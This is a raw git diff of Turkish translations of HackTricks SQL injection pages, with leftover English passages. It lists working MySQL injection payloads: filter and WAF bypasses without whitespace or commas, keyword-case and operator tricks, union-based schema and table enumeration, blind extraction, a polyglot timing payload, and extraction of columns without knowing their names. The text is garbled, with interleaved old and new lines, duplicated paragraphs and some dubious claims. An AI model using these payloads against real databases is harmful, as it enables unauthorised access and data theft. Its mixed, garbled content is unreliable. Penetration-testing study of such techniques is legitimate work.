When performing SQL injection attacks, it is common for web applications to implement filters that block certain characters, such as whitespaces. These filters are designed to prevent attackers from injecting malicious SQL code into the application.
However, in some cases, it is still possible to bypass these filters and successfully execute SQL injection attacks. One technique to achieve this is by using parentheses.
## Bypassing No Whitespace Filters
Let's assume that the application is filtering whitespaces and does not allow them in user input. For example, the following SQL query is used to retrieve user information:
```sql
SELECT * FROM users WHERE username='[USER_INPUT]' AND password='[PASSWORD]'
```
To bypass the no whitespace filter, we can use parentheses to separate the SQL keywords and concatenate the injected code. Here's an example:
```sql
SELECT * FROM users WHERE username='admin' AND (1=1) OR '1'='1'--' AND password='[PASSWORD]'
```
In this example, we use parentheses to separate the injected code `(1=1) OR '1'='1'` from the rest of the query. The double dash `--` is used to comment out the remaining part of the original query.
By using this technique, we can bypass the no whitespace filter and successfully execute the injected SQL code.
## Conclusion
When faced with a no whitespace filter, using parentheses can be an effective technique to bypass the filter and successfully perform SQL injection attacks. However, it is important to note that each application may have different filters and security measures in place, so it is crucial to thoroughly test and understand the application's behavior before attempting any SQL injection attacks.
No Whitespace - parantez kullanarak atlatma
```sql
?id=(1)and(1)=(1)--
```
### Virgül Bypassı
### No commas bypass
Virgül Bypassı - OFFSET, FROM ve JOIN kullanarak bypass yapma
No Comma - OFFSET, FROM ve JOIN kullanarak atlatma
```
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
```
### Genel Geçişler
### Genel Atlatmalar
Anahtar kelimeleri kullanarak siyah liste - büyük/küçük harf kullanarak geçiş yapma
Anahtar kelimeleri kullanarak kara liste - büyük/küçük harf kullanarak atlatma
```sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
```
## Blacklist using keywords case insensitive - bypass using an equivalent operator
### Introduction
In some cases, web applications implement a blacklist to prevent SQL injection attacks. This blacklist typically consists of keywords that are commonly associated with SQL injection. However, if the blacklist is implemented in a case-insensitive manner, it can be bypassed using an equivalent operator.
### Bypassing a Case-Insensitive Blacklist
To bypass a case-insensitive blacklist, you can use an equivalent operator that achieves the same result as the blocked keyword. Here are some examples:
- If the keyword "OR" is blocked, you can use the equivalent operator "||" to achieve the same logical operation.
- If the keyword "AND" is blocked, you can use the equivalent operator "&&" to achieve the same logical operation.
- If the keyword "UNION" is blocked, you can use the equivalent operator "UNION ALL" to achieve the same result.
By using these equivalent operators, you can bypass the case-insensitive blacklist and successfully perform SQL injection attacks.
### Conclusion
Implementing a case-insensitive blacklist to prevent SQL injection attacks can be bypassed by using equivalent operators. It is important for web application developers to be aware of this vulnerability and implement proper input validation and parameterized queries to mitigate the risk of SQL injection.
Blacklist anahtar kelimeleri büyük/küçük harf duyarsız - eşdeğer bir operatör kullanarak atlatma
```
AND -> && -> %26%26
OR -> || -> %7C%7C
@ -582,32 +464,32 @@ OR -> || -> %7C%7C
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
```
### Bilimsel Gösterim WAF atlatma
### Bilimsel Notasyon WAF atlatma
Bu hile hakkında daha detaylı bir açıklamayı [gosecure blogunda](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/) bulabilirsiniz.\
Temel olarak, bilimsel gösterimi beklenmedik şekillerde kullanarak WAF'ı atlayabilirsiniz:
Bu hile hakkında daha derinlemesine bir açıklamayı [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/) adresinde bulabilirsiniz.\
Temelde, WAF'ı atlatmak için bilimsel notasyonu beklenmedik şekillerde kullanabilirsiniz:
```
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
```
### Sütun İsimleri Kısıtlamasını Aşma
### Bypass Column Names Restriction
Öncelikle, **orijinal sorgu ve bayrak çıkarmak istediğiniz tablonun aynı miktarda sütuna sahipse**, sadece şunu yapabilirsiniz: `0 UNION SELECT * FROM flag`
Öncelikle, **orijinal sorgu ve bayrağı almak istediğiniz tablonun aynı sayıda sütuna sahip olduğunu** fark edin, sadece şunu yapabilirsiniz: `0 UNION SELECT * FROM flag`
Bir tablonun üçüncü sütununa **ismini kullanmadan erişmek mümkündür**. Aşağıdaki gibi bir sorgu kullanarak: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, bu nedenle bir sql enjeksiyonunda şu şekilde görünecektir:
Bir tablonun **üçüncü sütununa adını kullanmadan erişmek** mümkündür, aşağıdaki gibi bir sorgu kullanarak: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, bu nedenle bir sqlinjection'da bu şöyle görünecektir:
```bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
```
Veya bir **virgül atlatma** kullanarak:
Veya **virgül atlatması** kullanarak:
```bash
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
```
Bu hile [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/) adresinden alınmıştır.
### WAF bypass öneri araçları
### WAF atlatma öneri araçları
{% embed url="https://github.com/m4ll0k/Atlas" %}
@ -616,7 +498,7 @@ Bu hile [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://se
* [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
## Brute-Force Algılama Listesi
## Brute-Force Tespit Listesi
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
@ -626,18 +508,21 @@ Bu hile [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://se
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) İspanya'daki en önemli siber güvenlik etkinliği ve Avrupa'daki en önemli etkinliklerden biridir. Teknik bilginin yayılmasını amaçlayan bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
[**RootedCON**](https://www.rootedcon.com/) **İspanya**'daki en ilgili siber güvenlik etkinliği ve **Avrupa**'daki en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplinde teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
{% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hackleme öğrenin<strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **siber güvenlik şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuz olan özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) keşfedin
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,25 +1,27 @@
# MySQL injection
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'a katılın!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te tanıtmak** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Hacking hilelerinizi** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/), **İspanya**'daki en önemli siber güvenlik etkinliği ve **Avrupa**'nın en önemli etkinliklerinden biridir. **Teknik bilginin yayılmasını amaçlayan** bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
[**RootedCON**](https://www.rootedcon.com/) **İspanya'daki** en önemli siber güvenlik etkinliği ve **Avrupa'daki** en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
{% embed url="https://www.rootedcon.com/" %}
## Yorumlar
```sql
-- MYSQL Comment
# MYSQL Comment
@ -27,11 +29,9 @@
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
```
## İlginç Fonksiyonlar
### Mysql Onaylama:
### Mysql'ü Onayla:
```
concat('a','b')
database()
@ -45,29 +45,7 @@ floor(2.9)
length(1)
count(1)
```
### Kullanışlı fonksiyonlar
The following functions can be useful when performing MySQL injection attacks:
Aşağıdaki fonksiyonlar, MySQL enjeksiyon saldırıları gerçekleştirirken kullanışlı olabilir:
* `version()`: Returns the version of the MySQL server.
* `database()`: Returns the name of the current database.
* `user()`: Returns the username used to connect to the MySQL server.
* `current_user()`: Returns the current MySQL user.
* `@@hostname`: Returns the hostname of the MySQL server.
* `@@datadir`: Returns the data directory of the MySQL server.
* `@@basedir`: Returns the base directory of the MySQL server.
* `@@version_compile_os`: Returns the operating system on which the MySQL server is running.
* `@@version`: Returns the version and build information of the MySQL server.
* `@@global.version_compile_os`: Returns the operating system on which the MySQL server is running (global scope).
* `@@global.version`: Returns the version and build information of the MySQL server (global scope).
These functions can be used to gather information about the MySQL server and its environment during a SQL injection attack.
Bu fonksiyonlar, bir SQL enjeksiyon saldırısı sırasında MySQL sunucusu ve çevresi hakkında bilgi toplamak için kullanılabilir.
```sql
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
@ -83,74 +61,27 @@ SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
```
## Tüm enjeksiyonlar
Bu bölümde, MySQL enjeksiyonu hakkında bilgi bulacaksınız. MySQL enjeksiyonu, bir web uygulamasının veritabanına kötü niyetli SQL kodu enjekte ederek saldırganın yetkisiz verilere erişmesine veya veritabanını manipüle etmesine olanak tanır. Bu bölümde, MySQL enjeksiyonunun çeşitli türlerini ve nasıl kullanılabileceğini öğreneceksiniz.
### İçerik
* [MySQL Enjeksiyonu Nedir?](./#mysql-enjeksiyonu-nedir)
* [MySQL Enjeksiyonu Türleri](./#mysql-enjeksiyonu-türleri)
* [MySQL Enjeksiyonu Örnekleri](./#mysql-enjeksiyonu-örnekleri)
* [MySQL Enjeksiyonu Önleme Yöntemleri](./#mysql-enjeksiyonu-önleme-yöntemleri)
### MySQL Enjeksiyonu Nedir?
MySQL enjeksiyonu, bir web uygulamasının veritabanına kötü niyetli SQL kodu enjekte ederek saldırganın yetkisiz verilere erişmesine veya veritabanını manipüle etmesine olanak tanır. Bu, web uygulamasının güvenlik açıklarından yararlanarak gerçekleştirilebilir. MySQL enjeksiyonu, saldırganın kullanıcı girişlerini manipüle etmesine ve ardından bu girişlerin veritabanı sorgularına dahil edilmesine dayanır.
### MySQL Enjeksiyonu Türleri
MySQL enjeksiyonu çeşitli şekillerde gerçekleştirilebilir. İşte bazı yaygın MySQL enjeksiyonu türleri:
* **Union-Based SQL Injection**: Bu tür enjeksiyon, UNION operatörünü kullanarak veritabanından veri çekmeyi hedefler. Saldırgan, UNION operatörünü kullanarak ek veri çekme sorgularını mevcut sorguya ekler ve böylece veritabanından istenmeyen verileri alır.
* **Boolean-Based SQL Injection**: Bu tür enjeksiyon, web uygulamasının yanıtlarını analiz ederek doğru veya yanlış yanıtlar aracılığıyla veritabanı hakkında bilgi elde etmeyi hedefler. Saldırgan, web uygulamasının yanıtlarını manipüle ederek veritabanı yapısını keşfedebilir.
* **Time-Based SQL Injection**: Bu tür enjeksiyon, web uygulamasının yanıtlarını geciktirerek veritabanı hakkında bilgi elde etmeyi hedefler. Saldırgan, web uygulamasının yanıtlarını geciktirerek veritabanı yapısını keşfedebilir.
* **Error-Based SQL Injection**: Bu tür enjeksiyon, web uygulamasının hata mesajlarını kullanarak veritabanı hakkında bilgi elde etmeyi hedefler. Saldırgan, web uygulamasının hata mesajlarını manipüle ederek veritabanı yapısını keşfedebilir.
### MySQL Enjeksiyonu Örnekleri
Bu bölümde, MySQL enjeksiyonunun bazı örneklerini bulacaksınız. Her bir örnek, belirli bir MySQL enjeksiyon türünü hedefler ve nasıl gerçekleştirileceğini gösterir.
* [Union-Based SQL Injection Örneği](https://github.com/carlospolop/hacktricks/blob/tr/pentesting-web/sql-injection/mysql-injection/union-based-sql-injection.md)
* [Boolean-Based SQL Injection Örneği](https://github.com/carlospolop/hacktricks/blob/tr/pentesting-web/sql-injection/mysql-injection/boolean-based-sql-injection.md)
* [Time-Based SQL Injection Örneği](https://github.com/carlospolop/hacktricks/blob/tr/pentesting-web/sql-injection/mysql-injection/time-based-sql-injection.md)
* [Error-Based SQL Injection Örneği](https://github.com/carlospolop/hacktricks/blob/tr/pentesting-web/sql-injection/mysql-injection/error-based-sql-injection.md)
### MySQL Enjeksiyonu Önleme Yöntemleri
MySQL enjeksiyonu saldırılarını önlemek için aşağıdaki önlemleri alabilirsiniz:
* **Parametre Doğrulama**: Web uygulamanızın giriş parametrelerini doğrulayarak saldırganın kötü niyetli girişleri engelleyebilirsiniz.
* **Parametre Bağlama**: Web uygulamanızın giriş parametrelerini veritabanı sorgularına bağlayarak SQL enjeksiyonu saldırılarını engelleyebilirsiniz.
* **Güvenli Veritabanı Sorguları**: Veritabanı sorgularınızı parametrelerle birleştirirken güvenli yöntemler kullanarak SQL enjeksiyonu saldırılarını önleyebilirsiniz.
* **Güvenlik Duvarı**: Web uygulamanızın arkasına bir güvenlik duvarı yerleştirerek saldırıları engelleyebilirsiniz.
* **Güncel Yazılım**: Web uygulamanızın ve kullanılan veritabanının güncel olduğundan emin olun. Güncel yazılım, bilinen güvenlik açıklarını düzeltir ve saldırıları önler.
* **Güvenlik Testleri**: Web uygulamanızı düzenli olarak güvenlik testlerine tabi tutarak potansiyel güvenlik açıklarını tespit edebilir ve düzeltebilirsiniz.
## Tüm enjeksiyon
```sql
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
```
from [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
## Akış
Unutmayın ki "modern" **MySQL** sürümlerinde "_**information\_schema.tables**_" yerine "_**mysql.innodb\_table\_stats**_**"** kullanabilirsiniz (Bu, WAF'ları atlatmak için faydalı olabilir).
"Modern" **MySQL** sürümlerinde "_**information\_schema.tables**_" yerine "_**mysql.innodb\_table\_stats**_" kullanabileceğinizi unutmayın (Bu, WAF'leri atlatmak için faydalı olabilir).
```sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
```
### **Sadece 1 değer**
* `group_concat()`
* `Limit X,1`
### **Tek tek kör**
### **Kör birer birer**
* `substr(version(),X,1)='r'` veya `substring(version(),X,1)=0x70` veya `ascii(substr(version(),X,1))=112`
* `mid(version(),X,1)='5'`
@ -166,7 +97,6 @@ SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
## Sütun sayısını tespit etme
Basit bir ORDER kullanarak
```
order by 1
order by 2
@ -179,118 +109,79 @@ UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
```
## MySQL Birleştirme Tabanlı
Bu teknik, bir SQL enjeksiyon saldırısı sırasında MySQL veritabanında birleştirme tabanlı bir saldırı gerçekleştirmek için kullanılır. Birleştirme tabanlı saldırılar, UNION operatörünü kullanarak birden fazla sorguyu birleştirerek istenilen verileri elde etmeyi amaçlar.
### Saldırı Adımları
1. İlk adım, hedef web uygulamasında SQL enjeksiyon açığı bulmaktır. Bu genellikle kullanıcı giriş alanları veya URL parametreleri gibi veri girişi noktalarında gerçekleşir.
2. SQL enjeksiyon açığı bulunduktan sonra, UNION operatörünü kullanarak sorguya eklemek için birleştirme tabanlı bir saldırı gerçekleştirilir. UNION operatörü, iki veya daha fazla sorguyu birleştirmek için kullanılır.
3. Saldırgan, UNION operatörünü kullanarak hedef veritabanından istenilen verileri çekmek için uygun sorguları oluşturur. Bu sorgular, saldırganın hedef veritabanında bulunan tabloları ve sütunları keşfetmesine olanak tanır.
4. Saldırgan, UNION operatörünün kullanıldığı sorguları hedef web uygulamasına gönderir ve sonuçları analiz eder. Saldırgan, UNION operatörünün kullanıldığı sorguların sonuçlarını alarak hedef veritabanındaki verilere erişebilir.
### Örnek Saldırı
Aşağıda, birleştirme tabanlı bir saldırı örneği verilmiştir:
```
SELECT name, email FROM users WHERE id = 1 UNION SELECT username, password FROM admin_users
```
Bu sorgu, "users" tablosundan "name" ve "email" sütunlarını alırken, "admin\_users" tablosundan "username" ve "password" sütunlarını da alır. Saldırgan, bu sorguyu kullanarak normal kullanıcıların verilerini ve yönetici kullanıcılarının kimlik bilgilerini elde edebilir.
### Önleme
Birleştirme tabanlı saldırılardan korunmak için aşağıdaki önlemleri alabilirsiniz:
* Güvenli veri girişi sağlamak için kullanıcı giriş alanlarını ve URL parametrelerini doğru bir şekilde doğrulayın ve filtreleyin.
* SQL sorgularını parametreli sorgularla oluşturun ve hazırlayın. Bu, SQL enjeksiyon saldırılarını önlemeye yardımcı olur.
* Güvenlik açıklarını tespit etmek için düzenli olarak web uygulaması güvenlik taramaları yapın ve güncellemeleri takip edin.
* Veritabanı kullanıcılarının minimum ayrıcalıklara sahip olduğundan emin olun ve gereksiz ayrıcalıkları kaldırın.
* Güvenlik bilincini artırmak için personelinizi eğitin ve bilinçlendirin.
Bu önlemler, birleştirme tabanlı saldırılardan korunmanıza yardımcı olacaktır. Ancak, her zaman güncel ve güvenli bir web uygulaması kullanmanız önemlidir.
## MySQL Union Tabanlı
```sql
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
```
## SSRF
[**SSRF elde etmek için bir Mysql enjeksiyonunu kötüye kullanmanın farklı seçeneklerini buradan öğrenin**](mysql-ssrf.md).
**Burada bir Mysql enjeksiyonunu kullanarak bir SSRF elde etmenin farklı seçeneklerini öğrenin.**
## WAF bypass hileleri
## WAF atlatma hileleri
### Information\_schema alternatifleri
Unutmayın ki "modern" **MySQL** sürümlerinde _**information\_schema.tables**_ yerine _**mysql.innodb\_table\_stats**_ veya _**sys.x$schema\_flattened\_keys**_ veya **sys.schema\_table\_statistics** kullanabilirsiniz.
"Modern" **MySQL** sürümlerinde _**information\_schema.tables**_ yerine _**mysql.innodb\_table\_stats**_ veya _**sys.x$schema\_flattened\_keys**_ veya **sys.schema\_table\_statistics** kullanabileceğinizi unutmayın.
### Virgülsüz MySQL enjeksiyonu
Virgül kullanmadan 2 sütun seçin ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
### MySQL enjeksiyonu virgül olmadan
Herhangi bir virgül kullanmadan 2 sütun seçin ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
```
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
```
### Sütun adını bilmeden değerleri alma
### Sütun adı olmadan değerleri almak
Eğer belirli bir noktada tablonun adını biliyorsanız ancak tablo içindeki sütunların adını bilmiyorsanız, şu şekilde çalıştırarak kaç sütun olduğunu bulmaya çalışabilirsiniz:
Eğer bir noktada tablonun adını biliyorsanız ama tablonun içindeki sütunların adını bilmiyorsanız, kaç tane sütun olduğunu bulmak için şöyle bir şey deneyebilirsiniz:
```bash
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1); # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
```
Varsayalım ki 2 sütun var (ilk sütun ID olacak ve diğer sütun bayrak olacak), bayrağın içeriğini karakter karakter deneyerek brute force yöntemiyle deneyebilirsiniz:
Varsayalım ki 2 sütun var (ilk sütun ID, diğeri ise flag), flag'in içeriğini karakter karakter denemeye çalışarak brute force yapabilirsiniz:
```bash
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
```
Daha fazla bilgi için [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)
### MySQL geçmişi
### MySQL tarihi
MySQL içinde diğer yürütmeleri görmek için tabloyu okuyabilirsiniz: **sys.x$statement\_analysis**
### Alternatif sürümler
MySQL içinde diğer yürütmeleri görebilirsiniz: **sys.x$statement\_analysis**
### Versiyon alternatif**leri**
```
mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
```
## Diğer MYSQL enjeksiyon kılavuzları
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)]
## Referanslar
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
## Referanslar
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/), İspanya'daki en ilgili siber güvenlik etkinliği ve Avrupa'daki en önemli etkinliklerden biridir. Teknik bilginin teşvik edilmesi misyonuyla, bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
[**RootedCON**](https://www.rootedcon.com/) **İspanya**'daki en ilgili siber güvenlik etkinliği ve **Avrupa**'daki en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
{% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hackleme öğrenin<strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **siber güvenlik şirketinde** mi çalışıyorsunuz? **Şirketinizi HackTricks'te reklamını yapmak** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) keşfedin
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
